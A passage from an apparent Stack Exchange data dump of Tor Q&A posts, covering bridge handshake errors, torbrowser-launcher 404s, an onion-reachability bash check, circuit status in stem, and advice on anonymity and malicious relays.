error?&lt;/p&gt;&#xA;&lt;p&gt;Version information:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor browser: 12.0.2&#xA;tor bridge on ubuntu: 0.4.7.13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;any help much appreciated!&lt;/p&gt;&#xA;&lt;p&gt;Update:  after some investigation I found the following message in &lt;code&gt;obfs4proxy.log&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;==&amp;gt; /var/lib/tor/pt_state/obfs4proxy.log &amp;lt;==&#xA;2023/02/14 10:59:33 [WARN]: obfs4([scrubbed]:11423) - handshake failed: handshake: Failed to find M_[C,S]&#xA;2023/02/14 11:00:35 [WARN]: obfs4([scrubbed]:11395) - handshake failed: handshake: Failed to find M_[C,S]&#xA;2023/02/14 11:01:14 [WARN]: obfs4([scrubbed]:11405) - handshake failed: handshake: Failed to find M_[C,S]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38039" LastEditorUserId="14924" LastEditDate="2023-03-07T15:15:06.317" LastActivityDate="2023-03-07T15:15:06.317" Title="Tor Bridge unable to connect OR connection (handshaking (proxy))" Tags="|bridge|proxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23551" PostTypeId="2" ParentId="23543" CreationDate="2023-02-13T11:48:54.737" Score="-1" Body="&lt;p&gt;The Tor service is not the Tor Browser.  The Tor service &amp;quot;tor&amp;quot; is used for creating onion services, relays, and a socks5 proxy.&lt;/p&gt;&#xA;&lt;p&gt;In the output that you gave, the service seems to be working perfectly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Bootstrapped 100% (done): Done&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser is what you want if you want to access the Tor network with a browser. Download the browser: &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2023-02-13T11:48:54.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23552" PostTypeId="2" ParentId="10664" CreationDate="2023-02-13T13:36:54.170" Score="1" Body="&lt;p&gt;Yes, prerequisites for this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install tor -y&#xA;sudo apt install torsocks -y&#xA;sudo apt install httping -y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is a function that does it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Returns &amp;quot;FOUND&amp;quot; if an onion was available on the first try.&#xA;# TODO: allow for retries in parsing ping output.&#xA;onion_is_available() {&#xA;  local onion=&amp;quot;$1&amp;quot;&#xA;  local port=&amp;quot;$2&amp;quot;&#xA;    &#xA;  local address&#xA;  if [ &amp;quot;$port&amp;quot; == &amp;quot;&amp;quot; ]; then&#xA;    address=&amp;quot;$onion&amp;quot;&#xA;  else&#xA;    address=&amp;quot;$onion:$port&amp;quot;&#xA;  fi&#xA;&#xA;  local ping_output&#xA;  ping_output=$(torsocks httping --count 1 &amp;quot;$address&amp;quot;)&#xA;  if [[ &amp;quot;$ping_output&amp;quot; == *&amp;quot;100,00% failed&amp;quot;* ]]; then&#xA;    echo &amp;quot;NOTFOUND&amp;quot;  &#xA;  elif [[ &amp;quot;$ping_output&amp;quot; == *&amp;quot;1 connects, 1 ok, 0,00% failed, time&amp;quot;* ]]; then&#xA;      echo &amp;quot;FOUND&amp;quot;&#xA;  else&#xA;    echo &amp;quot;Error, did not find status.&amp;quot;&#xA;    exit 5&#xA;  fi&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can call it with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;local found_it_or_not&#xA;found_it_or_not=$(onion_is_available &amp;quot;protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion&amp;quot;)&#xA;echo &amp;quot;found_it_or_not=$found_it_or_not&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or (with specific port):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;local found_it_or_not&#xA;found_it_or_not=$(onion_is_available &amp;quot;protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion&amp;quot; 80)&#xA;echo &amp;quot;found_it_or_not=$found_it_or_not&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It does just one try (&lt;code&gt;count 1&lt;/code&gt;), and I did not include retries, because I did not parse the &lt;code&gt;n ok,&lt;/code&gt; part in the &lt;code&gt;httping&lt;/code&gt; output with variable &lt;code&gt;n&lt;/code&gt; in range of &lt;code&gt;1 to x&lt;/code&gt; for (&lt;code&gt;count x&lt;/code&gt;). So feel free to improve this answer by including retries.&lt;/p&gt;&#xA;&lt;p&gt;if &lt;code&gt;found_it_or_not&lt;/code&gt; is &lt;code&gt;FOUND&lt;/code&gt; then the onion domain was accessible (on that port) otherwise, it was not.&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2023-02-13T13:36:54.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23554" PostTypeId="1" AcceptedAnswerId="23567" CreationDate="2023-02-13T18:36:21.473" Score="4" ViewCount="23771" Body="&lt;p&gt;I'm trying to install &lt;code&gt;Tor browser&lt;/code&gt; from this &lt;a href=&quot;https://itsfoss.com/install-tar-browser-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;article over here&lt;/a&gt;.&#xA;I'm using methon no. 2: Install Tor browser launcher using APT (Alternate Method).&lt;/p&gt;&#xA;&lt;p&gt;I'm using Ubuntu 22.04 LTS, so I've made sure the Universe repository is enabled.&lt;br /&gt;&#xA;&lt;code&gt;sudo add-apt-repository universe &amp;amp;&amp;amp; sudo apt update&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;After that, I've installed the Tor browser launcher like this:&lt;br /&gt;&#xA;&lt;code&gt;sudo apt install torbrowser-launcher&lt;/code&gt;&lt;br /&gt;&#xA;It was all fine. No hurdles on the way.&lt;/p&gt;&#xA;&lt;p&gt;I understand that this is not the browser itself. Tor browser launcher is just the installer. So, I've run the launcher using the following command:&lt;br /&gt;&#xA;&lt;code&gt;torbrowser-launcher&lt;/code&gt;&lt;br /&gt;&#xA;and while this command was executed, an Error 404 was displayed. The second file was not there to be downloaded.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;my_login@huawei-matebook-d16:~$ torbrowser-launcher&#xA;Tor Browser Launcher&#xA;By Micah Lee, licensed under MIT&#xA;version 0.3.3&#xA;https://github.com/micahflee/torbrowser-launcher&#xA;Warning: Ignoring XDG_SESSION_TYPE=wayland on Gnome. Use QT_QPA_PLATFORM=wayland to run on Wayland anyway.&#xA;Downloading Tor Browser for the first time.&#xA;Downloading https://aus1.torproject.org/torbrowser/update_3/release/Linux_x86_64-gcc3/x/en-US&#xA;Latest version: 12.0.2&#xA;Downloading https://dist.torproject.org/torbrowser/12.0.2/tor-browser-linux64-12.0.2_en-US.tar.xz.asc&#xA;Download Error: 404&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This file simply doesn't exist under the specified url address.&#xA;&lt;code&gt;https://dist.torproject.org/torbrowser/12.0.2/tor-browser-linux64-12.0.2_en-US.tar.xz.asc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I went to this site: &lt;code&gt;https://dist.torproject.org/torbrowser/12.0.2/&lt;/code&gt; and there is no such file there: &lt;code&gt;https://dist.torproject.org/torbrowser/12.0.2/tor-browser-linux64-12.0.2_en-US.tar.xz.asc&lt;/code&gt;.&lt;br /&gt;&#xA;There is only this file:&lt;code&gt;https://dist.torproject.org/torbrowser/12.0.2/tor-browser-linux64-12.0.2_ALL.tar.xz.asc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What should I do now?&lt;br /&gt;&#xA;Is the installer broken?&lt;br /&gt;&#xA;I'm reluctant to use flatpack. I already have this snaps I have to deal with and apt installer. I don't want to install software using third way of doing this. I want to use a working apt installer method.&lt;/p&gt;&#xA;&lt;p&gt;I it possible to edit this url path somewhere, to point Tor launcher to existing &lt;code&gt;tor-browser-linux64-12.0.2_ALL.tar.xz.asc&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="33845" LastActivityDate="2023-05-09T10:42:14.910" Title="Download Error 404 while running torbrowser-launcher on Ubuntu 22.04 LTS. tor-browser-linux64-12.0.2_en-US.tar.xz.asc not available" Tags="|tor-browser-bundle|linux|ubuntu|tor-install|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23555" PostTypeId="1" CreationDate="2023-02-13T20:27:22.957" Score="0" ViewCount="85" Body="&lt;p&gt;When trying to connect to Tor using Orbot, the process stops at 10% with the error message &lt;code&gt;Refusing to connect to IPv4 address because Port has no IPv4Traffic set&lt;/code&gt; appears. Trying different bridges doesn't change the result.&lt;/p&gt;&#xA;" OwnerUserId="38044" LastActivityDate="2023-02-13T20:27:22.957" Title="Orbot: Refusing to connect to IPv4 address because Port has no IPv4Traffic set" Tags="|orbot|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23556" PostTypeId="2" ParentId="23554" CreationDate="2023-02-13T20:44:40.960" Score="2" Body="&lt;p&gt;The version of torbrowser-launcher in your package manager is too old. For it to work correctly, you'll need version 0.3.6. This specific bug was fixed in &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher/pull/661&quot; rel=&quot;nofollow noreferrer&quot;&gt;#661&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-02-13T20:44:40.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23557" PostTypeId="1" CreationDate="2023-02-14T11:00:38.220" Score="0" ViewCount="69" Body="&lt;p&gt;With stem I can list the active circuits and some &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.CircuitEvent&quot; rel=&quot;nofollow noreferrer&quot;&gt;details about them&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I would like to understand is: how can I know if one of the circuits has been used (it's dirty) or not (it's clean)?&lt;/p&gt;&#xA;&lt;p&gt;This information should be available somewhere otherwise how can tor close it when the MaxCircuitDirtiness is reached?&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="38045" LastEditorUserId="38045" LastEditDate="2023-02-14T11:02:02.610" LastActivityDate="2023-02-21T15:10:35.347" Title="Circuit status details with stem" Tags="|circuit|stem|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23558" PostTypeId="1" CreationDate="2023-02-15T21:26:10.447" Score="0" ViewCount="54" Body="&lt;p&gt;English&lt;/p&gt;&#xA;&lt;p&gt;This page cannot function without javascript. Please enable javascript and reload the page.&lt;/p&gt;&#xA;&lt;p&gt;Yet Javascript is set to TRUE.  I have had this issue in a couple of other browsers in the past.  I think either Brave or Vivaldi.   I am doing a search with Startpage when I get this error.&#xA;I don't know what else to try to correct this error.&#xA;Duck Duck go onion allows me to go to a non javasite for the search results.  What the hey?  My Tor is definitely being read as not allowing java when it is set to true under the config.&lt;/p&gt;&#xA;" OwnerUserId="38051" LastActivityDate="2023-02-21T14:51:01.553" Title="Tor is set for javascript but getting message I must" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23559" PostTypeId="2" ParentId="6466" CreationDate="2023-02-15T22:12:35.070" Score="0" Body="&lt;p&gt;It can happen, they are Tor entry, middle or exit points with unknown country allocation.&lt;/p&gt;&#xA;&lt;p&gt;You can exclude tor nodes with unknown coutrys allocation by your torrc file on follow way:&lt;/p&gt;&#xA;&lt;p&gt;ExcludeNodes {??}, {DE} StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;Possible this can help you by your question.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-15T22:12:35.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23561" PostTypeId="1" CreationDate="2023-02-17T21:04:21.020" Score="0" ViewCount="233" Body="&lt;p&gt;I had a question regarding Downloading files Using the Tor software . Lets say you are a journalist and you were on some website on TOR (like a .onion) and you needed to download standard MP4/ PNG/ JPG files (Media) from that random website. Would it be safe to then open those types of files on a computer outside of the tor software ? (Like using windows media player or something).&lt;/p&gt;&#xA;&lt;p&gt;I have read online that the government/ other people can bug files and these types of media that so when you open them, they can track you. Is this true? And if you did this would your identity / location be compromised?&lt;/p&gt;&#xA;&lt;p&gt;If this is true and it’s not safe, what would happen if you still downloaded the files from tor onto like a usb stick, and then disposed of the computer, moved locations, and plugged that usb into another computer that’s never connected to the internet and accessed the media files . Would you then be safe even if the files were bugged?&lt;/p&gt;&#xA;" OwnerUserId="38064" LastActivityDate="2023-02-21T15:21:31.910" Title="Tor Downloads/ Anonymity" Tags="|tor-browser-bundle|anonymity|security|onion-routing|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23563" PostTypeId="2" ParentId="23545" CreationDate="2023-02-21T11:29:34.723" Score="-1" Body="&lt;p&gt;Well, it is technically &lt;strong&gt;impossible&lt;/strong&gt; to &lt;em&gt;add additional exit points to tor&lt;/em&gt; - because of how it's built. Snowflake is just turning a browser into the proxy for tor, but it does &lt;strong&gt;not&lt;/strong&gt; add any exit nodes which are the only exit points&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T11:29:34.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23564" PostTypeId="2" ParentId="21310" CreationDate="2023-02-21T14:45:50.643" Score="0" Body="&lt;p&gt;Because it cares about it's users and their ability to reach and use the service provided. Utilizing an onion entrance for your website or other network resource is a great add-on! Let's face the truth: in clearnet only a tiny minority of the attacks are fully investigated and prosecuted, so there's no so-widely-promoted by authorities true clearnet... Darknet is just another way to route the same old network packets - but to disrupt all the censoring and eavesdropping parties on the way of the packet through network - from your device to the server and back. Especially authorities, governments and another criminals. In my opinion - every service should use a darknet entrance for it - it is as simple as a reverse proxy configuration, no extra tuning needed!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T14:45:50.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23565" PostTypeId="2" ParentId="23558" CreationDate="2023-02-21T14:51:01.553" Score="0" Body="&lt;p&gt;Sadly, usual reason for that is that some &lt;em&gt;particular&lt;/em&gt; script can not be executed, not the JS site-wide disabling... Also a Tor browser is a questionable thing, but it's better than nothing - and it has it's glitches, quite a ton of them. But as you've referenced - that Brave and Vivaldi has had the same issue as well - the reason is in the page's scripts for sure. Try using Developer tools in Brave or Firefox - press F12 for them - and look at the Console tab, reload page if needed. Then you'll see more details about the particular error&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T14:51:01.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23567" PostTypeId="2" ParentId="23554" CreationDate="2023-02-21T15:05:48.670" Score="1" Body="&lt;p&gt;Well, Ubuntu is a piece of Sh...elscripts after the version 9, and you hit it too. Use only official Tor apt repositories - and you're absolutely correct to insist on using a proper package manager such as APT. The guide - and even an Ubuntu-related warning - is on the official page &lt;a href=&quot;https://support.torproject.org/apt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/apt/&lt;/a&gt; - just follow the instructions for Debian, they will fit too - and remove the universe-installed launcher first! After that - follow the instructions to download &lt;em&gt;via tor&lt;/em&gt; the Tor browser itself - they are at (&lt;a href=&quot;https://tb-manual.torproject.org/installation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/installation/&lt;/a&gt;)[https://tb-manual.torproject.org/installation/] and at that document you'll have a next doc linked - about updating it automatically - just do it once and it will be all set :) If you want to automate it all - use &lt;code&gt;wget&lt;/code&gt; with the Tor installed from apt as a SOCKS5s proxy in a shell script&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T15:05:48.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23568" PostTypeId="2" ParentId="23557" CreationDate="2023-02-21T15:10:35.347" Score="0" Body="&lt;p&gt;Tor does not expose this &lt;em&gt;type&lt;/em&gt; of information anywhere - and for a good reason! Yes, you should be able to see(=enumerate) the circuits and network members you see in consensus - it's OK, but the whole privacy is broken if any session-related information will be exposed outside Tor's secure strongbox. That's the privacy architecture of the client.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T15:10:35.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23570" PostTypeId="2" ParentId="23561" CreationDate="2023-02-21T15:21:31.910" Score="0" Body="&lt;p&gt;Well, it's a brilliant question! Yes, you &lt;strong&gt;must&lt;/strong&gt; use a separate &lt;em&gt;environment&lt;/em&gt; for opening content, and a separate physical machine is a good choice, but - there's also a QubesOS that utilizes virtualization to achieve the same capabilities using software. Check it here (&lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.qubes-os.org/&lt;/a&gt;)[https://www.qubes-os.org/], and use a &lt;strong&gt;Disposable VM instance&lt;/strong&gt; instead of a separate hardware&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T15:21:31.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23571" PostTypeId="2" ParentId="23550" CreationDate="2023-02-21T15:27:05.893" Score="0" Body="&lt;p&gt;You have two problems here:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have relatively old software. Use an official &lt;strong&gt;Tor's APT&lt;/strong&gt; or just download it and install, latest stable versions will be just fine&lt;/li&gt;&#xA;&lt;li&gt;Some kind of SSL censorship/mismatch is happening on the way for sure, but try to use not the 443 but an &lt;code&gt;obfs4&lt;/code&gt; port instead, and for your ORPort use 443 &lt;strong&gt;on a separate IP&lt;/strong&gt; - map them by binding not to 0.0.0.0 but to the two different IP addresses respectively&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T15:27:05.893" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23572" PostTypeId="2" ParentId="23543" CreationDate="2023-02-21T16:15:12.647" Score="0" Body="&lt;p&gt;First of all - you have an OpenSSL issue, the &lt;code&gt;TLS Error&lt;/code&gt;'s - that &lt;strong&gt;must&lt;/strong&gt; be fixed first hand. It's occurring when you're compiling Tor by hand and later the system package manager updates the old one and overwrites the custom one you used. Solution for that is usin a separate install prefix for your Tor's OpenSSL &lt;em&gt;and&lt;/em&gt; linking it statically. Actually - the more libraries you'll attach statically - the better optimization you'll achieve on the last linking stage during the LTO phase. Second - try using Tor's SOCKS5s proxy in a browser's settings as a default and only way to connect to the internet, I'm using Firefox with FoxyProxy, works like a charm if you need a mixed config too. Proxychains is obsolete now for torifying applications: either use a separate Docker container or VM for full insulation, or just point a browser to the SOCKS5s proxy of Tor. If you need further assistance after fixing the problems I've mentioned - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-21T16:15:12.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23573" PostTypeId="1" AcceptedAnswerId="23574" CreationDate="2023-02-22T08:44:48.243" Score="0" ViewCount="36" Body="&lt;p&gt;I wonder: If I use a tor connection (e.g. by using Tor Browser) on a site where there is a &amp;quot;deep inspecting&amp;quot; firewall or proxy that &amp;quot;breaks&amp;quot; SSL encryption, am I still anonymous then?&lt;/p&gt;&#xA;&lt;p&gt;As I understand it, the browser uses SSL to connect to the first node of the tor network, and then the stream is anonymized and safely redirected.&lt;/p&gt;&#xA;&lt;p&gt;However with such firewall or proxy as mentioned, the traffic is de-anonymized before it actually reaches the tor network, right?&lt;/p&gt;&#xA;&lt;p&gt;Second question:&#xA;Is it possible to detect such firewalls or proxys automatically (and preferably warn the user) if confidentiality is compromised?&lt;/p&gt;&#xA;" OwnerUserId="28537" LastActivityDate="2023-02-22T13:20:31.550" Title="Does a &quot;deep inspecting&quot; firewall or proxy at the initiator's site compromise anonymosity?" Tags="|proxy|deanonymization|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23574" PostTypeId="2" ParentId="23573" CreationDate="2023-02-22T13:20:31.550" Score="1" Body="&lt;p&gt;So - at the sequence of questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have an SSL-breaking proxy that is &lt;strong&gt;actually breaking&lt;/strong&gt; SSL - the connection will not start, because Tor can be in two states:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;1.1 &lt;strong&gt;First run&lt;/strong&gt;. In this case all the directories' IPs &lt;strong&gt;and&lt;/strong&gt; certificate data is hardcoded into the tor binary itself, no SSL MitM is possible. This kind of attack is a very old one and it was used by censors wide enough so all the privacy-caring software has a workaround about that, not just Tor&lt;/p&gt;&#xA;&lt;p&gt;1.2 &lt;strong&gt;Consequent run&lt;/strong&gt;. Tor will have it's microdescriptors cache already populated and - to the addition of 1.1 defenses it will have a certificate information for the peers it will try to connect to and the defense routine will be exactly the same&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, it's possible - every browser with the CA's &lt;em&gt;hardcoded&lt;/em&gt;, like a portable ones. The installed ones will have the host OS to verify the CA's and in a censoring case the proxy has its own CA that is pre-installed on all client devices. Any untempered browser will show you a red wall when accessing any HTTPS resource&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-22T13:20:31.550" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23575" PostTypeId="2" ParentId="6466" CreationDate="2023-02-22T13:33:17.610" Score="1" Body="&lt;p&gt;It's impossible to have ones: tor network consensus lists all the nodes online and their roles, so if the node is not listen in the consensus with an exit node capability - there will be no way to use it as an exit. A different situation if you're talking about some outside lists provided by third parties - yes, in this case if a new node was listed and it was not included into the list - in this case you can have an unlisted exit case&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-22T13:33:17.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23577" PostTypeId="2" ParentId="23545" CreationDate="2023-02-23T01:19:15.650" Score="1" Body="&lt;p&gt;You can add a new entry, middle and exit points to the Tor network, by Tor network. But, to do it on this way, are public.&lt;/p&gt;&#xA;&lt;p&gt;See follow Tor relay guide:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/wikis/TorRelayGuide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2023-02-23T01:19:15.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23578" PostTypeId="2" ParentId="22883" CreationDate="2023-02-24T08:55:40.013" Score="1" Body="&lt;p&gt;Whether VNC login requires a user name is determined by VNC server. Please check the authentication method set by your VNC server. Different VNC servers have different authentication methods. For example, if you select UNIX password, you must enter the UNIX user name and password. If you select VNC password, you do not need to enter the user name, because the VNC password authentication method does not need to verify the user name&lt;/p&gt;&#xA;" OwnerUserId="38086" LastActivityDate="2023-02-24T08:55:40.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23579" PostTypeId="1" CreationDate="2023-02-25T10:29:33.953" Score="0" ViewCount="118" Body="&lt;p&gt;For many years, Tor is having issues with &lt;a href=&quot;https://blog.torproject.org/malicious-relays-health-tor-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;malicious relays&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Verifying/contacting operators via their email addresses&#xA;&lt;a href=&quot;https://forum.torproject.net/t/tor-relays-recent-rejection-of-relays/530/12&quot; rel=&quot;nofollow noreferrer&quot;&gt;seems to be not an option&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Wouldn't it be feasible for the Tor project to set up a certificate authority and provide certificates to operators, so they can run relays with certificates, and thus relays without certificate (i.e. malicious relays) are not used for routing anymore?&lt;/p&gt;&#xA;&lt;p&gt;Those certificates/operators could have different trust levels, which e.g. allows operators with a high trust level (e.g. personal acquaintance) to run many nodes, and operators with limited trust level (email contact) to run less nodes/bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;I think from a technical perspective that could be a solution for removing malicious relays, but I'm sure that I'm the first person to come up with such an idea.&lt;/p&gt;&#xA;&lt;p&gt;So I assume there are other reasons for not following such an approach, and I'd like to learn about them. I could think of&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;effort for the Tor project (the process to set up/operate a CA, decide on trust levels, and to provide certificates). At the same time, it might save effort for finding ways to identify and remove malicious relays&lt;/li&gt;&#xA;&lt;li&gt;additional computing resources needed for nodes to sign/verify challenges&lt;/li&gt;&#xA;&lt;li&gt;...??&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15665" LastActivityDate="2023-02-25T18:10:36.800" Title="Malicious relays: why doesn't Tor use certificates for relays?" Tags="|relays|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23580" PostTypeId="2" ParentId="23579" CreationDate="2023-02-25T18:10:36.800" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Those certificates/operators could have different trust levels, which e.g. allows operators with a high trust level (e.g. personal acquaintance) to run many nodes, and operators with limited trust level (email contact) to run less nodes/bandwidth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Who would be the ones to decide who is trustworthy and who isn't? If it's the directory authorities, then what happens if they're not in agreement? And this would be a lot of work for each directory authority to verify the legitimacy of the thousands of relay operators.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I think from a technical perspective that could be a solution for removing malicious relays, but I'm sure that I'm the first person to come up with such an idea.&lt;/p&gt;&#xA;&lt;p&gt;So I assume there are other reasons for not following such an approach, and I'd like to learn about them. I could think of&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think I've seen some proposals for some similar ideas in the past, such as &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2021-October/019854.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2021-October/019854.html&lt;/a&gt;, but I haven't followed along with any of that discussion. Hopefully someone who knows more will answer.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-02-25T18:10:36.800" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23582" PostTypeId="2" ParentId="23323" CreationDate="2023-02-27T23:50:42.980" Score="0" Body="&lt;p&gt;Looks like your Tor binary is too outdated. Just download an expert bundle and use it with a browser you prefer - or compile it by hand from source.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-27T23:50:42.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23583" PostTypeId="2" ParentId="23202" CreationDate="2023-02-28T19:04:07.500" Score="1" Body="&lt;p&gt;All you need is just use different login and password for your apps when they are connecting to &lt;strong&gt;socks5s&lt;/strong&gt; port. However, if your app does not know authorization - you must use a separate port for it. &lt;strong&gt;IsolateDestAddr&lt;/strong&gt; and &lt;strong&gt;IsolateDestPort&lt;/strong&gt; are good for isolation but not a must have, but you should start with both of them enabled&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-02-28T19:04:07.500" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23584" PostTypeId="2" ParentId="23323" CreationDate="2023-03-03T00:15:03.943" Score="0" Body="&lt;p&gt;If your inability to access sites is intermittent, it could be because the network is frequently getting DDoS'ed.&lt;/p&gt;&#xA;" OwnerUserId="30116" LastActivityDate="2023-03-03T00:15:03.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23586" PostTypeId="2" ParentId="23449" CreationDate="2023-03-03T04:20:31.060" Score="0" Body="&lt;p&gt;If you want to be sure there are no leaks, IMO the best way would be to connect it to a &lt;a href=&quot;https://howtoraspberrypi.com/router-tor-raspberry-pi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR Router&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30116" LastActivityDate="2023-03-03T04:20:31.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23587" PostTypeId="1" CreationDate="2023-03-05T15:32:51.530" Score="0" ViewCount="32" Body="&lt;p&gt;I have a python Flask application that serves a website and does a bunch of other things such as querying a database, displaying the results on the website...and also creating an instance of the Tor process. A website that returns the current IP is visited and this is printed 5 times, where a new request for clean circuits is sent via Signal.NEWNYM on each of the loops.&lt;/p&gt;&#xA;&lt;p&gt;All this happens in Debian. I am logged as admin, and when I run the APP on the command line (python app.py), inside the python virtual environment, everything goes well: each loop prints the IP, waits for new IP, prints the IP...5 times.&lt;/p&gt;&#xA;&lt;p&gt;However, I am trying to serve this website with UWSGI and NGINX. When the APP gets loaded using UWSGI, everything else seems to be fine, but when I request a new IP using Signal.NEWNYM the requests hangs. If I have harakiri set on the UWSGI config, it 